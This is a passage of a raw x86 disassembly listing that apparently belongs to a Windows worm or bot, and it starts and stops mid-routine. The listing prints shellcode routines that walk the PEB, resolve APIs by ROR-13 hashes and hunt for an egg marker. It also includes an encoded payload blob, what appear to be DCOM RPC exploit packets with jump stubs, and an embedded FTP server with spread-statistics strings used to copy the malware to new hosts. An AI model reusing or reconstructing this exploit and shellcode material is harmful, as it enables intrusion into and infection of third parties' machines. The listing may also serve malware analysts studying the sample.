mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_43A1FF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43A228 proc near ; CODE XREF: sub_43A1FF+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_43A237: ; CODE XREF: sub_43A228+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_43A244
inc ebx
jmp short loc_43A237
; ---------------------------------------------------------------------------
loc_43A244: ; CODE XREF: sub_43A228+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_43A228 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43A24D proc near ; CODE XREF: sub_43A188+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_43A265: ; CODE XREF: sub_43A24D+1Ej
cmp [ecx], ebx
jz short loc_43A26D
mov ecx, [ecx]
jmp short loc_43A265
; ---------------------------------------------------------------------------
loc_43A26D: ; CODE XREF: sub_43A24D+1Aj
mov edx, edi
loc_43A26F: ; CODE XREF: sub_43A24D+2Aj
cmp [edx+4], ebx
jz short loc_43A279
mov edx, [edx+4]
jmp short loc_43A26F
; ---------------------------------------------------------------------------
loc_43A279: ; CODE XREF: sub_43A24D+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_43A24D endp
; =============== S U B R O U T I N E =======================================
sub_43A284 proc near ; CODE XREF: sub_43A188+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_43A284 endp
; =============== S U B R O U T I N E =======================================
sub_43A29A proc near ; CODE XREF: sub_43A188+16p
; sub_43A188+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_43A2B0: ; CODE XREF: sub_43A29A+33j
jecxz short loc_43A2EA
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_43A2BD: ; CODE XREF: sub_43A29A+2Dj
lodsb
cmp al, ah
jz short loc_43A2C9
ror edi, 0Dh
add edi, eax
jmp short loc_43A2BD
; ---------------------------------------------------------------------------
loc_43A2C9: ; CODE XREF: sub_43A29A+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_43A2B0
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_43A2EA: ; CODE XREF: sub_43A29A:loc_43A2B0j
; sub_43A29A:loc_43A2EAj
jmp short loc_43A2EA
sub_43A29A endp
; ---------------------------------------------------------------------------
align 10h
dword_43A2F0 dd 0F254C481h, 0FFFFhdword_43A2F8 dd 23h dword_43A2FC dd 60h dword_43A300 dd 62B0606h, 2050501h, 0A0hdword_43A30C dd 30h ; sub_401F44+7Co ...
dword_43A310 dd 0A1h dword_43A314 dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_40126C+153o
align 10h
loc_43A320: ; DATA XREF: sub_40126C+E8o
jmp short near ptr dword_43A328
; ---------------------------------------------------------------------------
align 8
dword_43A328 dd 0 aSSSExD db '%s %s -> %s (Ex: %d)',0 ; DATA XREF: ?9:00401911o
; sub_403B6C+155o ...
align 8
aD1 db 'd1',0 ; DATA XREF: sub_402646+FCo
; sub_40A938+973Fo
align 4
dd 2 dup(0)
db 3 dup(0)
dword_43A357 dd 33314344h db 35h
dd 7 dup(0)
dword_43A378 dd 87h ; sub_40A938+5F42r ...
off_43A37C dd offset sub_403B6C ; DATA XREF: sub_402646+174r
dword_43A380 dd 0 dword_43A384 dd 1 dd 3264h, 2 dup(0)
dd 44000000h, 3243h, 7 dup(0)
dd 87h, 403D55h, 0
dd 1, 3364h, 2 dup(0)
db 3 dup(0)
byte_43A3D7 db 44h ; DATA XREF: sub_406D50+296o
dd 3343h, 7 dup(0)
dd 87h, 404105h, 0
dd 1, 736B6Eh, 2 dup(0)
db 3 dup(0)
byte_43A417 db 4Eh ; DATA XREF: sub_406D50+498o
dd 3250h, 7 dup(0)
dd 1BDh, 406391h, 0
dd 1, 656Eh, 2 dup(0)
db 3 dup(0)
byte_43A457 db 4Eh ; DATA XREF: sub_406D50+2F6o
dd 3245h, 7 dup(0)
dd 8Bh, 4066B3h, 0
dd 1, 61h, 2 dup(0)
dd 41000000h, 4E53h, 7 dup(0)
dd 8Bh, 4017B8h, 0
dd 1, 31626Eh, 2 dup(0)
db 3 dup(0)
byte_43A4D7 db 4Eh ; DATA XREF: sub_406D50+39Do
dd 42h, 7 dup(0)
dd 8Bh, 405990h, 2 dup(0)
dd 32626Eh, 2 dup(0)
dd 4E000000h, 42h, 7 dup(0)
dd 1BDh, 405990h, 2 dup(0)
dd 76h, 2 dup(0)
dd 56000000h, 434Eh, 7 dup(0)
dd 170Ch, 40813Ah, 0
dd 1, 6276h, 2 dup(0)
dd 56000000h, 42434Eh, 7 dup(0)
dd 170Ch, 409616h, 0
dd 1, 73h, 2 dup(0)
db 3 dup(0)
off_43A5D7 dd offset byte_565253 ; DATA XREF: sub_406D50+3FDo
align 4
dd 7 dup(0)
dd 1BDh, 407373h, 0
dd 1, 656B77h, 2 dup(0)
dd 57000000h, 454Bh, 7 dup(0)
dd 8Bh, 409D2Eh, 0
dd 1, 31656B77h, 2 dup(0)
dd 57000000h, 31454Bh, 7 dup(0)
dd 1BDh, 409D2Eh, 0
dd 1, 6F6B77h, 2 dup(0)
dd 57000000h, 4F4Bh, 7 dup(0)
dd 8Bh, 409DC8h, 0
dd 1, 316F6B77h, 2 dup(0)
dd 57000000h, 314F4Bh, 7 dup(0)
dd 1BDh, 409DC8h, 0
dd 1, 736B77h, 2 dup(0)
dd 57000000h, 534Bh, 7 dup(0)
dd 8Bh, 409F99h, 0
dd 1, 31736B77h, 2 dup(0)
dd 57000000h, 31534Bh, 7 dup(0)
dd 1BDh, 409F99h, 0
dd 1, 10h dup(0)
dword_43A7C8 dd 3164h, 2 dup(0) dd 1000000h, 73h, 2 dup(0)
dd 1000000h
dword_43A7E8 dd 3364h, 2 dup(0) dd 1000000h, 316F6B77h, 2 dup(0)
dd 1000000h
dword_43A808 dd 656Eh, 2 dup(0) dd 1000000h, 31626Eh, 2 dup(0)
dd 1000000h
dword_43A828 dd 3164h, 2 dup(0) dd 1000000h, 3264h, 2 dup(0)
dd 1000000h
dword_43A848 dd 73h, 2 dup(0) dd 1000000h, 736B6Eh, 2 dup(0)
dd 1000000h
dword_43A868 dd 76h, 2 dup(0) dd 1000000h, 6276h, 2 dup(0)
dd 1000000h
dword_43A888 dd 73h, 2 dup(0) dd 1000000h, 736B77h, 2 dup(0)
dd 1000000h
dword_43A8A8 dd 3364h, 2 dup(0) dd 1000000h, 31656B77h, 2 dup(0)
dd 1000000h
dword_43A8C8 dd 2 dword_43A8CC dd 2 dword_43A8D0 dd 2 dword_43A8D4 dd 2 dword_43A8D8 dd 2 dword_43A8DC dd 2 dword_43A8E0 dd 2 dword_43A8E4 dd 2 dword_43A8E8 dd 0E983C929h, 0FFFFE8B0h, 5EC0FFFFh, 970E7681h, 839CBE56h
; DATA XREF: ?9:004017FCo
; sub_403941+4Bo ...
dd 0F4E2FCEEh, 0D1553C6Bh, 6341AF7Fh, 0F0353668h, 0D93572B3h
dd 99C2DDABh, 175157EFh, 0C3354ED8h, 0D55557B7h, 9D35621Ch
dd 57E6779h, 0E87ED23Bh, 91749790h, 68559496h, 0B49A02ACh
dd 0C335B3E2h, 0FA5557B3h, 17F55A1Ch, 77BF4AC8h, 15357A94h
dd 0FDA272FBh, 0F8656754h, 178E151Ch, 0EC355AD7h, 0DC35FB8Bh
dd 12D6089Fh, 0CC5258D9h, 0CFD88068h, 0AE8D3EF1h, 0AECD21FFh
dd 4C4102C8h, 60539DFFh, 4A4106ACh, 0FA5BDFC8h, 9EB6BB16h
dd 63BC3CC2h, 95673E47h, 63E9FB62h, 0CFED0541h, 0CFFD05C4h
dd 4C4105D4h, 0F6BA3EF1h, 7D3705F1h, 861A3E02h, 63E991E7h
dd 0CDAE3C41h, 0F46EA9C2h, 7590FB33h, 0CF68A9C0h, 0F46EA9C2h
dd 0D5381F72h, 0CC68A9C0h, 63EB02C3h, 7BD6C547h, 0CBC790EEh
dd 63EB8068h, 0F8D43047h, 0F1DD3EF1h, 0CCD4B31Eh, 15727FCEh
dd 15FA3C70h, 6F7E6775h, 0B1FCA83Dh, 0F921469h, 37862C1Ah
dd 0EED6FD3Ch, 63A8E569h, 4A4112E2h, 0CDEC01CCh, 9DD407C6h
dd 0CDEB07C6h, 31D68668h, 0CF70534Eh, 63D48068h, 4C416168h
dd 1F42011Ch, 4A413253h, 0F46EA9C5h, 0FC5E9878h, 6368A9C4h
dd 9CBE5647h, 0
dd 159h
aEftpdDTotalDIn db ' (EFTPD): (%d), Total -> (%d in %s)',0 ; DATA XREF: sub_401990+9Ao
aSD_0 db ' (%s: %d),',0 ; DATA XREF: sub_401990+4Co
align 4
aSStats db '%s (Stats):',0 ; DATA XREF: sub_401990+1Ao
aCCCCCC db '%c%c%c%c%c%c',0 ; DATA XREF: sub_401A77+66o
; sub_40A938+5B34o
align 4
aSCCCCC db '%s%c%c%c%c%c',0 ; DATA XREF: sub_401AF0+6Bo
align 4
aS_6 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401B6E+2C2o
; sub_4063FA+251o ...
align 10h
aSSSDSSSSSSSS_0 db '%s %s %s %d >> %s %s %s %s %s >> %s %s %s >> %s %s %s %s >> %s %s'
; DATA XREF: sub_401B6E+27Do
; sub_4063FA+210o
db ' %s >> %s %s%s %s %s',0Dh,0Ah,0
aSSSDSSSSSSSSSS db '%s %s %s %d >> %s %s %s %s %s >> %s %s %s %s >> %s %s %s >> %s %s'
; DATA XREF: sub_401B6E+1EDo
; sub_4063FA+180o
db '%s %s %s',0Dh,0Ah,0
aSDDDDD_exe db '%s%d%d%d%d%d.exe',0 ; DATA XREF: sub_401B6E+137o
; sub_4053EE+285o ...
align 4
off_43AB68 dd offset dword_5C005C ; DATA XREF: sub_401E8E+16o
align 10h
off_43AB70 dd offset dword_49005C ; DATA XREF: sub_401E8E+Bo
dd offset loc_430050
dd 24h
dword_43AB7C dd 252E7325h, 73252E73h, 73252Eh ; sub_402CBA+398o
dword_43AB88 dd 78h ; sub_401F44+A3o ...
dword_43AB8C dd 2Eh ; sub_405C6A+2Do ...
dword_43AB90 dd 49207325h, 7463616Eh, 657669hdword_43AB9C dd 28207325h, 29504943h, 7325203Ah, 0aSSSISS_ db '%s %s, %s: %i, %s: %s.',0 ; DATA XREF: sub_4020AA+D3o
align 4
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40221C+38o
aSSAtSDAfterDMi db '%s %s at %s:%d after %d minute(s).',0 ; DATA XREF: sub_40242A+1D2o
align 4
aSSDThreadDSubT db '%s %s:%d, Thread: %d, Sub-thread: %d.',0 ; DATA XREF: sub_40242A+119o
align 4
aSSD_0 db '%s %s: <%d>',0 ; DATA XREF: sub_40242A+98o
; sub_423BB1+A5o ...
aSSSSDOpen_ db '%s %s%s: %s:%d open.',0 ; DATA XREF: sub_402646+C3o
align 10h
aZwopensection db 'ZwOpenSection',0 ; DATA XREF: sub_4027F3+23o
align 10h
aRtlinitunicode db 'RtlInitUnicodeString',0 ; DATA XREF: sub_4027F3+1Bo
align 4
aNtdll_dll db 'ntdll.dll',0 ; DATA XREF: sub_4027F3o
align 4
aCurrent_user db 'CURRENT_USER',0 ; DATA XREF: sub_40285A+5Do
align 4
off_43AC84 dd offset aRy6iq0udbphN2n+24h ; DATA XREF: sub_402900+31o
aEvicePhysicalm:
unicode 0, <evice\PhysicalMemory>,0
align 4
aSesecuritypriv db 'SeSecurityPrivilege',0 ; DATA XREF: sub_402BA8:loc_402C0Fo
a503 db '503',0Dh,0Ah,0 ; DATA XREF: sub_402CBA:loc_4031F3o
align 10h
a221 db '221',0Dh,0Ah,0 ; DATA XREF: sub_402CBA+51Eo
align 4
aQuit db 'QUIT',0 ; DATA XREF: sub_402CBA+511o
align 10h
a425 db '425',0Dh,0Ah,0 ; DATA XREF: sub_402CBA:loc_4031A9o
align 4
aSS_2 db '%s -> %s',0 ; DATA XREF: sub_402CBA+494o
; sub_402CBA+4C3o
align 4
a226 db '226',0Dh,0Ah,0 ; DATA XREF: sub_402CBA+440o
align 4
a150 db '150',0Dh,0Ah,0 ; DATA XREF: sub_402CBA+3DBo
align 4
aRetr db 'RETR',0 ; DATA XREF: sub_402CBA+3CBo
align 4
a200 db '200',0Dh,0Ah,0 ; DATA XREF: sub_402CBA+3A3o
align 4
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_402CBA+362o
align 4
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_402CBA+324o
db ']',0
aPort db 'PORT',0 ; DATA XREF: sub_402CBA+2F0o
align 4
a230 db '230',0Dh,0Ah,0 ; DATA XREF: sub_402CBA+2CBo
align 4
aPass db 'PASS',0 ; DATA XREF: sub_402CBA+2BFo
align 4
a331 db '331',0Dh,0Ah,0 ; DATA XREF: sub_402CBA+29Ao
align 4
aUser db 'USER',0 ; DATA XREF: sub_402CBA+28Eo
align 4
aSS_1 db '%s %s',0 ; DATA XREF: sub_402CBA+274o
; sub_403374+C8o ...
align 4
a220 db '220',0Dh,0Ah,0 ; DATA XREF: sub_402CBA:loc_402E94o
align 4
aRb db 'rb',0 ; DATA XREF: sub_4032A3+2Bo
; ?9:0040A267o
align 10h
aSSDS db '%s %s %d %s',0 ; DATA XREF: sub_403374+75o
; sub_42358B+36o
align 10h
byte_43AD90 db 1 ; DATA XREF: sub_403476+25r
align 2
dw 2
dd 80004h, 200010h, 800040h
dword_43ADA0 dd 800000h, 400000h, 200000h, 100000h, 80000h, 40000h
; DATA XREF: sub_403476+C6r
; sub_403476+D8r
dd 20000h, 10000h, 8000h, 4000h, 2000h, 1000h, 800h, 400h
dd 200h, 100h, 80h, 40h, 20h, 10h, 8, 4, 2, 1
byte_43AE00 db 38h ; DATA XREF: sub_403476:loc_403486r
db 30h, 28h, 20h
dd 81018h, 21293139h, 1091119h, 222A323Ah, 20A121Ah, 232B333Bh
dd 262E363Eh, 60E161Eh, 252D353Dh, 50D151Dh, 242C343Ch
dd 40C141Ch, 30B131Bh
dword_43AE38 dd 6040201h, 0E0C0A08h, 1513110Fh, 1C1B1917h, 170A100Dh
; DATA XREF: sub_403476+6Ar
dd 1B020400h, 914050Eh, 30B1216h, 60F0719h, 10C131Ah
dword_43AE60 dd 241E3328h, 271D362Eh, 2F202C32h, 3726302Bh, 292D3421h
; DATA XREF: sub_403476:loc_40352Cr
dd 1F1C2331h
dword_43AE78 dd 1010400h, 0 ; sub_4036F2+148r
dd 10000h, 1010404h, 1010004h, 10404h, 4, 10000h, 400h
dd 1010400h, 1010404h, 400h, 1000404h, 1010004h, 1000000h
dd 4, 404h, 2 dup(1000400h), 2 dup(10400h), 2 dup(1010000h)
dd 1000404h, 10004h, 2 dup(1000004h), 10004h, 0
dd 404h, 10404h, 1000000h, 10000h, 1010404h, 4, 1010000h
dd 1010400h, 2 dup(1000000h), 400h, 1010004h, 10000h, 10400h
dd 1000004h, 400h, 4, 1000404h, 10404h, 1010404h, 10004h
dd 1010000h, 1000404h, 1000004h, 404h, 10404h, 1010400h
dd 404h, 2 dup(1000400h), 0
dd 10004h, 10400h, 0
dd 1010004h
dword_43AF78 dd 80108020h ; sub_4036F2+189r
dd 80008000h, 8000h, 108020h, 100000h, 20h, 80100020h
dd 80008020h, 80000020h, 80108020h, 80108000h, 80000000h
dd 80008000h, 100000h, 20h, 80100020h, 108000h, 100020h
dd 80008020h, 0
dd 80000000h, 8000h, 108020h, 80100000h, 100020h, 80000020h
dd 0
dd 108000h, 8020h, 80108000h, 80100000h, 8020h, 0
dd 108020h, 80100020h, 100000h, 80008020h, 80100000h, 80108000h
dd 8000h, 80100000h, 80008000h, 20h, 80108020h, 108020h
dd 20h, 8000h, 80000000h, 8020h, 80108000h, 100000h, 80000020h
dd 100020h, 80008020h, 80000020h, 100020h, 108000h, 0
dd 80008000h, 8020h, 80000000h, 80100020h, 80108020h, 108000h
dword_43B078 dd 208h ; sub_4036F2+152r
dd 8020200h, 0
dd 8020008h, 8000200h, 0
dd 20208h, 8000200h, 20008h, 2 dup(8000008h), 20000h, 8020208h
dd 20008h, 8020000h, 208h, 8000000h, 8, 8020200h, 200h
dd 20200h, 8020000h, 8020008h, 20208h, 8000208h, 20200h
dd 20000h, 8000208h, 8, 8020208h, 200h, 8000000h, 8020200h
dd 8000000h, 20008h, 208h, 20000h, 8020200h, 8000200h
dd 0
dd 200h, 20008h, 8020208h, 8000200h, 8000008h, 200h, 0
dd 8020008h, 8000208h, 20000h, 8000000h, 8020208h, 8, 20208h
dd 20200h, 8000008h, 8020000h, 8000208h, 208h, 8020000h
dd 20208h, 8, 8020008h, 20200h
dword_43B178 dd 802001h ; sub_4036F2+193r
dd 2 dup(2081h), 80h, 802080h, 800081h, 800001h, 2001h
dd 0
dd 2 dup(802000h), 802081h, 81h, 0
dd 800080h, 800001h, 1, 2000h, 800000h, 802001h, 80h, 800000h
dd 2001h, 2080h, 800081h, 1, 2080h, 800080h, 2000h, 802080h
dd 802081h, 81h, 800080h, 800001h, 802000h, 802081h, 81h
dd 2 dup(0)
dd 802000h, 2080h, 800080h, 800081h, 1, 802001h, 2 dup(2081h)
dd 80h, 802081h, 81h, 1, 2000h, 800001h, 2001h, 802080h
dd 800081h, 2001h, 2080h, 800000h, 802001h, 80h, 800000h
dd 2000h, 802080h
dword_43B278 dd 100h ; sub_4036F2+164r
dd 2080100h, 2080000h, 42000100h, 80000h, 100h, 40000000h
dd 2080000h, 40080100h, 80000h, 2000100h, 40080100h, 42000100h
dd 42080000h, 80100h, 40000000h, 2000000h, 2 dup(40080000h)
dd 0
dd 40000100h, 2 dup(42080100h), 2000100h, 42080000h, 40000100h
dd 0
dd 42000000h, 2080100h, 2000000h, 42000000h, 80100h, 80000h
dd 42000100h, 100h, 2000000h, 40000000h, 2080000h, 42000100h
dd 40080100h, 2000100h, 40000000h, 42080000h, 2080100h
dd 40080100h, 100h, 2000000h, 42080000h, 42080100h, 80100h
dd 42000000h, 42080100h, 2080000h, 0
dd 40080000h, 42000000h, 80100h, 2000100h, 40000100h, 80000h
dd 0
dd 40080000h, 2080100h, 40000100h
dword_43B378 dd 20000010h ; sub_4036F2+1A2r
dd 20400000h, 4000h, 20404010h, 20400000h, 10h, 20404010h
dd 400000h, 20004000h, 404010h, 400000h, 20000010h, 400010h
dd 20004000h, 20000000h, 4010h, 0
dd 400010h, 20004010h, 4000h, 404000h, 20004010h, 10h
dd 2 dup(20400010h), 0
dd offset loc_40400F+1
dd 20404000h, 4010h, 404000h, 20404000h, 20000000h, 20004000h
dd 10h, 20400010h, 404000h, 20404010h, 400000h, 4010h
dd 20000010h, 400000h, 20004000h, 20000000h, 4010h, 20000010h
dd 20404010h, 404000h, 20400000h, 404010h, 20404000h, 0
dd 20400010h, 10h, 4000h, 20400000h, 404010h, 4000h, 400010h
dd 20004010h, 0
dd 20404000h, 20000000h, 400010h, 20004010h
dword_43B478 dd 200000h ; sub_4036F2+16Br
dd 4200002h, 4000802h, 0
dd 800h, 4000802h, 200802h, 4200800h, 4200802h, 200000h
dd 0
dd 4000002h, 2, 4000000h, 4200002h, 802h, 4000800h, 200802h
dd 200002h, 4000800h, 4000002h, 4200000h, 4200800h, 200002h
dd 4200000h, 800h, 802h, 4200802h, 200800h, 2, 4000000h
dd 200800h, 4000000h, 200800h, 200000h, 2 dup(4000802h)
dd 2 dup(4200002h), 2, 200002h, 4000000h, 4000800h, 200000h
dd 4200800h, 802h, 200802h, 4200800h, 802h, 4000002h, 4200802h
dd 4200000h, 200800h, 0
dd 2, 4200802h, 0
dd 200802h, 4200000h, 800h, 4000002h, 4000800h, 800h, 200002h
dword_43B578 dd 10001040h ; sub_4036F2+1ACr
dd 1000h, 40000h, 10041040h, 10000000h, 10001040h, 40h
dd 10000000h, 40040h, 10040000h, 10041040h, 41000h, 10041000h
dd 41040h, 1000h, 40h, 10040000h, 10000040h, 10001000h
dd 1040h, 41000h, 40040h, 10040040h, 10041000h, 1040h
dd 2 dup(0)
dd 10040040h, 10000040h, 10001000h, 41040h, 40000h, 41040h
dd 40000h, 10041000h, 1000h, 40h, 10040040h, 1000h, 41040h
dd 10001000h, 40h, 10000040h, 10040000h, 10040040h, 10000000h
dd 40000h, 10001040h, 0
dd 10041040h, 40040h, 10000040h, 10040000h, 10001000h
dd 10001040h, 0
dd 10041040h, 2 dup(41000h), 2 dup(1040h), 40040h, 10000000h
dd 10041000h
dword_43B678 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_43B6C8 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_403941+FBo
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_43BA2C dd 20h, 0 dd 20h, 5C005Ch, 0
off_43BA40 dd offset loc_43005A+2 ; DATA XREF: sub_403941+135o
dd offset dword_5C0024
a12345611111111:
unicode 0, <123456111111111111111.doc>,0
align 10h
dword_43BA80 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_43BAB4 dd offset word_580046 ; DATA XREF: sub_403941+31o
; sub_403941+72o
dd offset loc_42004E
dd offset word_580046
dd offset word_580046
dd offset loc_42004E
dd offset word_580046
dd offset word_580046
dd offset word_580046
dd offset word_580046
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db ''
db ''
db '',0
dword_43BB90 dd 10016C6h dword_43BB94 dd 100139Dh dword_43BB98 dd 158h align 10h
dword_43BBA0 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0
dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43BBEC dd 3000005h, 10h, 5 dup(0)dword_43BC08 dd 10005h, 2 dup(0) dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0)
dd 90000h, 300h, 0
dd 300h, 5C005Ch, 0
dword_43BC50 dd 0 dd 2, 0
dd 1, 91C68h, 1, 2 dup(0)
dd 0C0h, 46000000h, 2 dup(1), 7
; ---------------------------------------------------------------------------
loc_43BC84: ; DATA XREF: ?9:00403E81o
mov eax, [esp-4]
add eax, 0FFFFFAE0h
jmp eax
; ---------------------------------------------------------------------------
align 10h
loc_43BC90: ; DATA XREF: ?9:00403E2Co
mov eax, [ebp+30h]
add eax, 0FFFFFB24h
jmp eax
; ---------------------------------------------------------------------------
align 4
loc_43BC9C: ; DATA XREF: ?9:00403ED0o
jmp short loc_43BCAE
; ---------------------------------------------------------------------------
jmp short loc_43BCB9
; ---------------------------------------------------------------------------
dd 0
; ---------------------------------------------------------------------------
loc_43BCA4: ; DATA XREF: ?9:00403F2Bo
jmp short near ptr word_43BCAA
; ---------------------------------------------------------------------------
dw 0FFFFh
db 2 dup(0FFh)
word_43BCAA dw 0 ; CODE XREF: ?9:loc_43BCA4j
; ---------------------------------------------------------------------------
loc_43BCAC: ; DATA XREF: ?9:00403F4Co
jmp short near ptr word_43BCB2
; ---------------------------------------------------------------------------
loc_43BCAE: ; CODE XREF: ?9:loc_43BC9Cj
; ?9:loc_43BCCCj
jmp short loc_43BCB4
; ---------------------------------------------------------------------------
db 2 dup(0)
word_43BCB2 dw 0 ; CODE XREF: ?9:loc_43BCACj
; ---------------------------------------------------------------------------
loc_43BCB4: ; CODE XREF: ?9:loc_43BCAEj
; DATA XREF: ?9:00403F70o
jmp short near ptr loc_43BCB9+1
; ---------------------------------------------------------------------------
dw 0FFFFh
db 0FFh
; ---------------------------------------------------------------------------
loc_43BCB9: ; CODE XREF: ?9:0043BC9Ej
; ?9:loc_43BCB4j
inc dword ptr [eax]
; ---------------------------------------------------------------------------
db 0
off_43BCBC dd offset loc_41005A+2 ; DATA XREF: ?9:00403FBFo
dd 2 dup(0)
dword_43BCC8 dd 77F33723h ; ---------------------------------------------------------------------------
loc_43BCCC: ; DATA XREF: ?9:00403F09o
jmp short loc_43BCAE
; ---------------------------------------------------------------------------
dw 7FFDh
; ---------------------------------------------------------------------------
loc_43BCD0: ; DATA XREF: ?9:00403EE2o
lahf
jnz short loc_43BCEB
loc_43BCD3: ; DATA XREF: ?9:00403E71o
add [ecx+1Ch], bl
loc_43BCD6: ; CODE XREF: ?9:loc_43BCE0j
add [ecx], al
loc_43BCD8: ; DATA XREF: ?9:00403E53o
or ecx, [ebx]
sbb eax, [eax]
loc_43BCDC: ; DATA XREF: ?9:00403E62o
jmp short near ptr dword_43BCE4
; ---------------------------------------------------------------------------
align 10h
loc_43BCE0: ; DATA XREF: ?9:00403E3Eo
jmp short loc_43BCD6
; ---------------------------------------------------------------------------
align 4
dword_43BCE4 dd 0 byte_43BCE8 db 5, 0, 0Bh ; DATA XREF: sub_404105+298o
; ---------------------------------------------------------------------------
loc_43BCEB: ; CODE XREF: ?9:0043BCD1j
add edx, [eax]
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 48h, 7Fh, 16D016D0h, 0
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_43BD38 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_404105+17Fo
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
